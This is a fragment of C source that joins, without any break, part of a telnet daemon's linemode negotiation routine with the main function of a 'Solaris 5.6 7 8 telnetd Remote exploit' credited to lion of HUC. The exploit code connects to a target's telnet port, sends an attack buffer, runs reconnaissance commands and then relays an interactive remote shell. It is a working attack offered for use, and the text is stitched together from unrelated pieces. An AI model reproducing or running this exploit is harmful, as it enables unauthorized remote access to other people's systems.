we're all done. */ if (!uselinemode && linemode) { # ifdef KLUDGELINEMODE if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ send_dont(TELOPT_LINEMODE, 1); # ifdef KLUDGELINEMODE } else if (lmodetype == KLUDGE_LINEMODE) send_will(TELOPT_SGA, 1); # endif /* KLUDGELINEMODE */ send_will(TELOPT_ECHO, 1); linemode = uselinemode; goto done; } # ifdef KLUDGELINEMODE /* * If using real linemode check edit modes for possible later use. * If we are in kludge linemode, do the SGA negotiation. */ if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ useeditmode = 0; if (tty_isediting()) useeditmode |= MODE_EDIT; if (tty_istrapsig()) useeditmode |= MODE_TRAPSIG; if (tty_issofttab()) useeditmode |= MODE_SOFT_TAB; if (tty_islitecho()) useeditmode |= MODE_LIT_ECHO; # ifdef KLUDGELINEMODE } else if (lmodetype == KLUDGE_LINEMODE) { if (tty_isediting() && uselinemode) send_wont(TELOPT_SGA, 1); else send_will(TELOPT_SGA, 1); } # endif /* KLUDGELINEMODE */ /* * Negotiate linemode on if pty state has changed to turn it on. * Send appropriate command and send along edit mode, then all done. */ if (uselinemode && !linemode) { # ifdef KLUDGELINEMODE if (lmodetype == KLUDGE_LINEMODE) { send_wont(TELOPT_SGA, 1); } else if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ send_do(TELOPT_LINEMODE, 1); /* send along edit modes */ (void) sprintf(nfrontp, "%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE, useeditmode, IAC, SE); nfrontp += 7; editmode = useeditmode; # ifdef KLUDGELINEMODE } # endif /* KLUDGELINEMODE */ linemode = uselinemode; goto done; } # ifdef KLUDGELINEMODE /* * None of what follows is of any value if not using * real linemode. */ if (lmodetype < REAL_LINEMODE) goto done; # endif /* KLUDGELINEMODE */ if (linemode && his_state_is_will(TELOPT_LINEMODE)) { /* * If edit mode changed, send edit mode. */ if (useeditmode != editmode) { /* * Send along appropriate edit mode mask. */ (void) sprintf(nfrontp, "%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE, useeditmode, IAC, SE); nfrontp += 7; editmode = useeditmode; } /* * Check for changes to special characters in use. */ start_slc(0); check_slc(); (void) end_slc(0); } done: if (need_will_echo) send_will(TELOPT_ECHO, 1); /* * Some things should be deferred until after the pty state has * been set by the local process. Do those things that have been * deferred now. This only happens once. */ if (_terminit == 0) { _terminit = 1; defer_terminit(); } netflush(); set_termbuf(); return; } /* end of localstat */
int main(int argc, char **argv) { int c, n, sockfd, port = 23; char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; char user[36], host[36]; fd_set rset; printf("============================================================\n"); printf("Solaris 5.6 7 8 telnetd Remote exploit\n"); printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n"); printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n"); if(argc <3) usage(argv[0]); strcpy(user, "bin"); while((c = getopt(argc, argv, "h:u:p:")) != EOF){ switch(c){ case 'h': strncpy(host, optarg, 36); break; case 'u': strncpy(user,optarg, 36); break; case 'p': port = atoi(optarg); break; } } if(!(sockfd = get_socket(host, port))) exit(-1); do_negotiate(sockfd); n = read(sockfd, buf, sizeof(buf)); write_attack_buf(sockfd,user); send_wont(sockfd, TELOPT_BINARY); sleep(1); read(sockfd, buf, sizeof(buf)); write(sockfd, shellstr, strlen(shellstr)); n = read(sockfd, buf, sizeof(buf)); FD_ZERO(&rset); for(;;){ FD_SET(0, &rset); FD_SET(sockfd, &rset); if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) msg("select"); if(FD_ISSET(sockfd, &rset)){ bzero(buf, sizeof(buf)); if((n = read(sockfd, buf, sizeof(buf))) < 0) msg("read"); if(n == 0){ printf("EOF\n"); exit(0); } write(1, buf, n); } if(FD_ISSET(0, &rset)){ bzero(buf, sizeof(buf)); if((n = read(0, buf, sizeof(buf))) < 0) msg("read"); if(n == 0) exit(0); write(sockfd, buf, n); } } }